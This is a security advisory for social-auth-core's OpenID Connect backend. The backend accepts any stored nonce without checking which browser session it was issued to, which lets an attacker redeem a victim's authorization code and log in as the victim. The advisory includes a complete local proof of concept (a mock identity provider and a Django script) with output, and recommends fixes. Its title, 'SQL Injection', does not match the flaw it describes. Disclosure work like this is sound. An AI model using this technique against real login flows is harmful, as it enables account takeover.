GHSA-h2r5-x5m7-3935: SQL Injection
Summary
The generic OpenID Connect backend (OpenIdConnectAuth and every backend built on it) stores the nonce in the shared Association table, not in the user's session. When the ID token comes back, validateclaims only checks that the nonce exists in that table and is not expired. It does not check that the nonce was issued to the browser that is finishing the login.
So the nonce does not do its job. OIDC Core (section 15.5.2) and RFC 9700 (section 4.5) use the nonce to stop authorization code injection: an attacker who gets hold of a victim's unused authorization code should not be able to redeem it in the attacker's own browser. With social-auth-core, the attacker can. They start their own login to get a valid state for their session, then hit the callback with the victim's code and their own state. state passes because it belongs to the attacker's session, and the nonce in the victim's ID token passes because it is in the global table. The attacker's browser is now logged in as the victim.
PKCE would block this, but OpenIdConnectAuth sets DEFAULTUSEPKCE = False (the OAuth2 base class defaults to True), so the nonce is the only binding in the default setup.
Tested versions
social-auth-core 6.1.1 (latest), 6.1.0 and 5.2.0, with social-auth-app-django 7.1.0 and Django 6.1.2, Python 3.14. The same code is on master (098ef399c1).
Details
socialcore/backends/openidconnect.py in 6.1.1:
- line 252: authparams calls getandstorenonce(self.authorizationurl(), state) - lines 333 to 346: getandstorenonce stores the nonce as an OpenIdConnectAssociation keyed by serverurl and handle=nonce. The state goes into assoctype but is never read back. - lines 348 to 358: getnonce looks the nonce up by serverurl and handle only - lines 393 to 415: validateclaims accepts any stored, unexpired nonce and removes it - line 110: DEFAULTUSEPKCE = False
PoC
Everything runs locally. mockidp.py is a small OpenID provider on 127.0.0.1 that checks redirecturi and enforces PKCE when a codechallenge was sent, like a normal provider. socialnonce.py uses two Django test clients as two browsers.
pip install social-auth-core social-auth-app-django django pyjwt cryptography python socialnonce.py
Output on 6.1.1:
[inject] attacker session completes with victim code: (200, 'user=victim')
Controls:
MODE=controlvictim python socialnonce.py [control] victim completes normally: (200, 'user=victim')
MODE=controlunknownnonce python socialnonce.py [control] unknown nonce: ('EXC', 'AuthResponseError: The authentication response could not be matched to the request.')
PKCE=1 python socialnonce.py [inject] attacker session completes with victim code: ('EXC', 'AuthCredentialError: The authorization code was rejected. Please restart login.')
So the nonce check runs, but it accepts a nonce that belongs to another browser. With PKCE on, the same attack fails.
mockidp.py:
python """Minimal local OpenID Provider on 127.0.0.1 for testing RP libraries.""" import json, time, secrets, threading, hashlib, base64, urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import jwt from cryptography.hazmat.primitives.asymmetric import rsa
def b64u(b): return base64.urlsafeb64encode(b).rstrip(b"=").decode()
class IdP: def init(self, port=0, clientid="rp-client", clientsecret="rp-secret", name="idp"): self.key = rsa.generateprivatekey(publicexponent=65537, keysize=2048) self.kid = name + "-k1" self.clientid, self.clientsecret = clientid, clientsecret self.codes = {} self.access = {} self.claimsoverride = {} self.srv = ThreadingHTTPServer(("127.0.0.1", port), self.handler()) self.port = self.srv.serveraddress[1] self.issuer = f"http://127.0.0.1:{self.port}" threading.Thread(target=self.srv.serveforever, daemon=True).start()
def jwk(self): n = self.key.publickey().publicnumbers() tb = lambda i: i.tobytes((i.bitlength() + 7) // 8, "big") return {"kty": "RSA", "kid": self.kid, "use": "sig", "alg": "RS256", "n": b64u(tb(n.n)), "e": b64u(tb(n.e))}
def discovery(self): i = self.issuer return {"issuer": i, "authorizationendpoint": i + "/authorize", "tokenendpoint": i + "/token", "userinfoendpoint": i + "/userinfo", "jwksuri": i + "/jwks", "responsetypessupported": ["code"], "subjecttypessupported": ["public"], "idtokensigningalgvaluessupported": ["RS256"], "tokenendpointauthmethodssupported": ["clientsecretbasic", "clientsecretpost"], "codechallengemethodssupported": ["S256"]}
def userauthorizes(self, authorizeurl, sub): """The end user sub approves an authorization request; returns (code, params).""" q = dict(urllib.parse.parseqsl(urllib.parse.urlsplit(authorizeurl).query)) code = "code-" + secrets.tokenhex(8) self.codes[code] = {"sub": sub, "nonce": q.get("nonce"), "redirecturi": q.get("redirecturi"), "codechallenge": q.get("codechallenge")} return code, q
def sign(self, claims): return jwt.encode(claims, self.key, algorithm="RS256", headers={"kid": self.kid})
def handler(idp): class H(BaseHTTPRequestHandler): def logmessage(self, a): pass def json(self, obj, code=200): b = json.dumps(obj).encode() self.sendresponse(code); self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(b))); self.endheaders(); self.wfile.write(b) def doGET(self): p = urllib.parse.urlsplit(self.path).path if p.endswith("/.well-known/openid-configuration"): return self.json(idp.discovery()) if p == "/jwks": return self.json({"keys": [idp.jwk()]}) if p == "/userinfo": tok = (self.headers.get("Authorization") or "").split(" ")[-1] sub = idp.access.get(tok) if not sub: return self.json({"error": "invalidtoken"}, 401) return self.json({"sub": sub, "email": sub + "@example.test", "preferredusername": sub}) return self.json({"error": "notfound"}, 404) def doPOST(self): n = int(self.headers.get("Content-Length") or 0) body = dict(urllib.parse.parseqsl(self.rfile.read(n).decode())) p = urllib.parse.urlsplit(self.path).path if p == "/token": rec = idp.codes.pop(body.get("code"), None) if not rec: return self.json({"error": "invalidgrant"}, 400) if rec["redirecturi"] and body.get("redirecturi") != rec["redirecturi"]: return self.json({"error": "invalidgrant"}, 400) if rec["codechallenge"]: v = body.get("codeverifier") or "" if b64u(hashlib.sha256(v.encode()).digest()) != rec["codechallenge"]: return self.json({"error": "invalidgrant"}, 400) at = "at-" + secrets.tokenhex(8) idp.access[at] = rec["sub"] now = int(time.time()) claims = {"iss": idp.issuer, "sub": rec["sub"], "aud": idp.clientid, "iat": now, "exp": now + 300, "athash": b64u(hashlib.sha256(at.encode()).digest()[:16])} if rec["nonce"]: claims["nonce"] = rec["nonce"] claims.update(idp.claimsoverride) return self.json({"accesstoken": at, "tokentype": "Bearer", "expiresin": 300, "idtoken": idp.sign(claims)}) return self.json({"error": "notfound"}, 404) return H
socialnonce.py:
python import os, sys sys.path.insert(0, os.path.dirname(file)) from mockidp import IdP idp = IdP() import django from django.conf import settings PKCE = os.environ.get("PKCE") == "1" settings.configure( DEBUG=True, SECRETKEY="x", ALLOWEDHOSTS=[""], ROOTURLCONF=name, INSTALLEDAPPS=["django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "socialdjango"], MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware"], DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}}, AUTHENTICATIONBACKENDS=["socialcore.backends.openidconnect.OpenIdConnectAuth"], SOCIALAUTHOIDCOIDCENDPOINT=idp.issuer, SOCIALAUTHOIDCKEY=idp.clientid, SOCIALAUTHOIDCSECRET=idp.clientsecret, SOCIALAUTHOIDCUSEPKCE=PKCE, SOCIALAUTHLOGINREDIRECTURL="/done/", SOCIALAUTHRAISEEXCEPTIONS=True, ) django.setup() from django.urls import include, path from django.http import HttpResponse urlpatterns = [path("", include("socialdjango.urls", namespace="social")), path("done/", lambda r: HttpResponse("user=%s" % r.user.username))] from django.core.management import callcommand callcommand("migrate", verbosity=0) from django.test import Client
def begin(c): r = c.post("/login/oidc/"); assert r.statuscode == 302, r.statuscode return r["Location"]
def complete(c, code, state): try: r = c.get("/complete/oidc/", {"code": code, "state": state}) if r.statuscode == 302: r = c.get(r["Location"]) return r.statuscode, r.content.decode() except Exception as e: return "EXC", f"{type(e).name}: {e}"
victim, attacker = Client(), Client() Victim starts a login. The provider issues a code for "victim" tied to the victim's nonce. vurl = begin(victim) codev, qv = idp.userauthorizes(vurl, "victim") Attacker starts a login in their own browser to get a valid state for their session. aurl = begin(attacker) , qa = idp.userauthorizes(aurl, "attacker") mode = os.environ.get("MODE", "inject") if mode == "inject": print("[inject] attacker session completes with victim code:", complete(attacker, codev, qa["state"])) elif mode == "controlunknownnonce": idp.claimsoverride = {"nonce": "never-issued-nonce"} print("[control] unknown nonce:", complete(attacker, codev, qa["state"])) elif mode == "controlvictim": print("[control] victim completes normally:", complete(victim, codev, qv["state"]))
Impact
An attacker who gets a victim's authorization code before it is used can log in to the relying party as the victim. Codes leak in practice through the callback URL: Referer headers, proxy or server logs, browser history and sync, a malicious browser extension, or an open redirect on the callback. This is the exact case the OIDC nonce is meant to cover. The attacker does not need the client secret, because the relying party itself redeems the code.
It affects every app that uses OpenIdConnectAuth or a backend built on it with the default settings (PKCE off).
Suggested fix
Bind the nonce to the session that started the login. For example, keep the nonce (or a hash of it) in the session next to state in authparams, and in validateclaims compare the ID token nonce with the session value before removing it. Turning PKCE on by default for the OIDC backend would also close this, and matches the OAuth2 base class.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/social-auth-coreto a version that resolves this vulnerability.Fixed in 6.2.0 - Configuration
Store the nonce, or a hash of it, in the session next to state in auth_params; in validate_claims, compare the ID token nonce with the session value before removing it.
OpenIdConnectAuth nonce storage and validation = bind to the initiating session - Configuration
Enable PKCE for the OIDC backend; the shown configuration enables it with PKCE=1.
OpenIdConnectAuth SOCIAL_AUTH_OIDC_USE_PKCE = enabled
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments using the generic OpenID Connect backend, OpenIdConnectAuth, or a backend built on it are affected when relying on its nonce handling. The backend sets DEFAULT_USE_PKCE to False, so PKCE is not enabled by default.
What does an attacker need to exploit this?
The attacker needs an unused authorization code belonging to the victim. They begin a login in their own browser to obtain a valid state value for that session, then submit the victim's code together with their own state at the callback endpoint.
What is the practical impact of a successful attack?
The attacker's browser can be logged in as the victim. The shared nonce record is accepted even though the nonce was issued for the victim's login flow rather than the attacker's browser session.
What can reduce exposure if patching is not immediately possible?
Enable PKCE where supported. PKCE would prevent the described authorization-code injection flow.